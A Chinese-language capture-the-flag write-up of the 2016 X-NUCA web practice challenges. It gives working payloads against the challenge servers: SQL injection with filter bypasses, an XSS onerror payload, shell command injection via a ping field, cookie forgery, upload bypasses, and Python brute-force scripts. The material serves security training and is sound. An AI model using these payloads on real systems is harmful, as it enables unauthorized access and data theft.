2016年X-NUCA全国高校网安联赛--赛前指导练习题web进阶篇Writeup
0x00 前言
第一次写Writeup,尝试一下吧!
0x01 正文
捉迷藏
题目
捉迷藏
描述:从页面中找到隐藏的flag
题目链接
解题思路
F12审查元素发现有一个Index.php的链接,把背景去掉。点击链接得到flag
Flag
flag{th!5!5n0tth3fl@g}
简单问答
题目
简单问答
描述:这几个小问题实在是太简单了,相信你一定能获得满分
题目链接
解题思路
审查元素将按钮键的disabled改为abled。
利用burpsuite抓取数据包,修改参数提交得到flag
Flag
flag{W3ll_d0n3}
后台后台后台
题目
后台后台后台
描述:登录这个网站很容易,请进入后台寻找flag
题目链接
解题思路
利用burpsuite抓取数据包,把cookie中的Member参数修改为Admin的base64的编码,得到flag.
Flag
flag{C00ki3_n0m_n0m_n0m}
php是最好的语言
题目
php是最好的语言
描述:据说php是最好的语言,perfect?来试试看
题目链接
解题思路
payload如下:1
http://218.76.35.75:20114/?foo={"bar1":"2017f","bar2":[[1,1],1,1,1,1]}&cat[0]=123&cat[1][]=1&dog=%00htctf2016
Flag
flag{php_i5_n0t_b4d}
忘记密码了
题目
忘记密码了
描述:在这个网站,记录了小伙伴们的密码。 可是slash的密码怎么也找不到了,你能帮忙找出来么
题目链接
解题思路
把bob和sam的MD5解出来分别是bob317和sam429,利用脚本爆破密码。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27import requests
import hashlib
r=requests.session()
url="http://218.76.35.75:20115/index.php"
for i in xrange(1000):
header={"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"}
param=hashlib.md5("slash"+str(i)).hexdigest()
tmpurl=url+"?page="+param
print tmpurl
result=r.get(tmpurl,headers=header)
content=result.content
if 'flag' in content or 'Flag' in content or 'FLAG' in content:
print content
print i
break
得到结果
Flag
flag{n1ce_te4m_n1ce_Rock}
php是最好的语言
题目
http 头注入
描述:换个浏览器试试?
解题思路
抓包得到数据包,Referer处加*号。sqlmap -r xx.txt。得到flag1
2
3
4
5
6
7
8
9
10GET /heetian.php HTTP/1.1
Host: 218.76.35.75:20121
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.google.com/search?hl=en&q=*
Cookie: PHPSESSID=gr7gtgjm8v0q5a9j3ampntgmp0; User=JohnTan101; Member=Tm9ybWFs
Connection: close
Upgrade-Insecure-Requests: 1
Flag
flag{Y0ugetT82f00000laev}
简单的文件上传
题目
简单的文件上传
描述:上传php 文件就给你flag
题目链接
解题思路
上传一个php文件,抓包将Content-Type改为 image/jpeg上传,得到flag.
Flag
flag{Upl00d30668ss9h97aFil3}
简单的JS
题目
简单的JS
描述:执行后的结果就是flag 的url
题目链接
解题思路
打开解题链接
还有一个明显提示 evilurl is flag
看不出什么其他的,直接查看源码
在这里可以看到定义一个p,eval以后写到页面,但是好像并没有输出什么,猜测可能这里没有执行成功,JS 问题可以直接查看控制台
可以看到报语法错误,
我们把这个语句copy下来,自己调试好
没修改之前,明显的有报错
我们把它第二行的空格和第一行的换行符删掉,然后执行eval,看下P 到底是什么
题目提示执行后的结果就是flag的url
访问这个url试试
页面没有输出什么,再抓包看看
可以看到flag已经写在cookie里了。
Flag
flag{COOk1els60SecU5e}
试试xss
题目
描述:alert document.domain
解题思路
打开就一个输入框,输入字母啥的没啥反应。。。。
被谁吃了。。。
既然提示xss,就试试特殊符号吧,比如“<>”
加个’的时候,多了一个img标签,什么鬼。。。。。
当我输入’aaaaaaaaaaaa的时候。。。。
aaaaaaaaaaaa居然直接成了img的一个属性名,可怕。。。。
这样就简单了,瞬间就想到onerror,既然hint 是alertdocument.domain,那就用这个吧
直接’ onerror=alert(document.domain)这样不就可以了,试试先。。。
居然没弹出来。。。。
为什么!!!!!
查看下源码。。。
至少知道了我们输入的内容并没有被实体编码。。。
但是onerror事件没有发生,就说明img标签的src并没有出错。。。
再看看刚才我们输入的内容
onerror=alert(document.domain)
如果在’前面加一个不存在的路径,那后面的onerror事件不就可以出发了么。。。
试试再说。。。。
输入heetian.jpg’ onerror=alert(document.domain)
终于出来了。。。
Flag
flag{D0Gum6Ntd0M11n}
简单的文件包含
题目
简单的文件包含
描述:Flag 在/flag
题目链接
解题思路
打开解题链接,可以看到4个超链接,然后就没有然后了。。。
一个一个访问看看。。。。
考过3级(没考过)的渣渣表示看不懂
其他链接也是如此,就只有一句英文的名言(看起来似乎是名言… 我也不知道是不是,知道的告诉我下…,先谢谢了…)。。。。
抓包也没看到什么可疑的东西
再看看题目提示吧,没准就有就用。。。
标题是文件包含,也说了flag的位置。。。
再回来看看前面的4个超链接
这种url形式的,看起来有点像是文件包含,直接修改page值为/flag 看看
居然不在这里。。。提示又说在/flag ,可以试试多加几个../../../../../试试~~~~
不过在这之前还是先查看源码和响应包吧….
有注释。。。
访问这个页面。。。得到flag。
Flag
flag{F11elNcLud3Get}
简单的验证
题目
简单的验证
描述:你不是amdin,没有权限查看flag
题目链接
解题思路
和题目5差不多,把cookie里面user改成admin之后,爆破guess值,最后是5731
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import requests
r=requests.session()
url="http://218.76.35.75:20127/index.php"
for i in xrange(1000,0,-1):
header={"Cookie":"user=admin;guess="+str(i)}
print header
result=r.get(url,headers=header)
content=result.content
if 'flag' in content or 'Flag' in content or 'FLAG' in content:
print content
print i
break
运行结果
Flag
flag{EaSy70Ch1ngG00kie}
注入那么简单
题目
注入那么简单
描述:注入、猜表、拿分,就是这么简单
题目链接
解题思路
题目要求是注入,可输入的参数为name
首先尝试name=guest 存在返回。
再次尝试name=guest’or’1’=’1,返回3列,说明没有做过多的过滤,这里,我们尝试用order by 来获得列。
Name=guest’order by 1 %23 有返回,依次递增数字到4时报错,说明有3列。
题目提示,说要猜表,构造如下语句,来获得flag
http://218.76.35.75:20101/?name=guest%27union%20select%201,flag,3%20from%20flag%23
Flag
flag{thisisforunionsqlinjection}
你能进来么
题目
你能进来么
描述:图片上传功能真的好强大
题目链接
解题思路
上传一个图片马直接拿到flag
Flag
flag{uploadwithinclude}
好简单的题目
题目
好简单的题目
描述:我要dir溢出你,信不信
题目链接
解题思路
这个题目,原本就是一个不可能的命题,谁都不可能dir命令能溢出服务器,猜测出题者考察命令执行,并且,页面上也为目标Ip的输入,我们输入127.0.0.1 返回Ping的结果
猜测,目标IP后面可以加上连接符,执行多条语句。
这里有个小小的障碍,linux下的连接符有多个。如&&,||,;,| 我们需要都测试后面命令为简单的ls 即可
127.0.0.1111|ls
可以看到有md5字符串返回。猜测为文件夹。
http://218.76.35.75:20105/3f83e03a1e4e65573ef11cca25048808/
访问即可获得flag
Flag
flag{dirpwnitdoyouknow}
没那么简单
题目
没那么简单
(50位解决者)
描述:我认为这是一个sql注入,你发现了吗
题目链接
解题思路
发现存在robots.txt 文件
访问该地址。得到upload.zip
Upload.zip为index.php
查看Index.php后。
发现对大多数的字符进行了过滤。该过滤方式为黑名单判断,我们只需要找到程序中,为过滤完全的字符,进行payload编写即可。
查找wooyun或者其他地方的资料库,可以知道.%0a 同样可以用来做空格的代替。
那么我们只需要构造如下参数提交
username=admind’%a0union%a0select%a0’4124bc0a9335c27f086f24ba207a4912’%a0from%a0admin%a0where%a0’1’=’1&password=aa
即可得到flag
Flag
flag{robotsfilehassomehappything}
有趣的注入
题目
有趣的注入
描述:在渗透测试中,任何细节都不能错过。sql注入是渗透测试中最常使用的攻击技术。这里有一个简单的网站,请帮忙找到flag。
题目链接
解题思路
1.文件包含(需要开一下脑洞,猜一猜文件名)
根据提示,可以得到一个目录:
http://218.76.35.75:20116/flagishere/
2.访问这个目录,是一个登录界面,这道题目考的是注入,只不过考点是sql注入的绕过。后端代码中检测了并且拦截了各种sql的关键字。
但是,可以使用“||”来代替关键词 OR
用户名和密码输入admin’||’1’=’1即可绕过检测登录,获得flag
Flag
flag{s0_e4sysq1i:)}
0x03 总结
这次CTF的Writeup,有的解题思路是题目给出的,一部分是自己的想法。自己的水平还是有些不够吧!这里只写了一些题目的Writeup,有的题目的链接已经失效了。
有的题目是真的不知道做,思路也看不大懂。就这样吧,后面如果可以的话,再更新吧!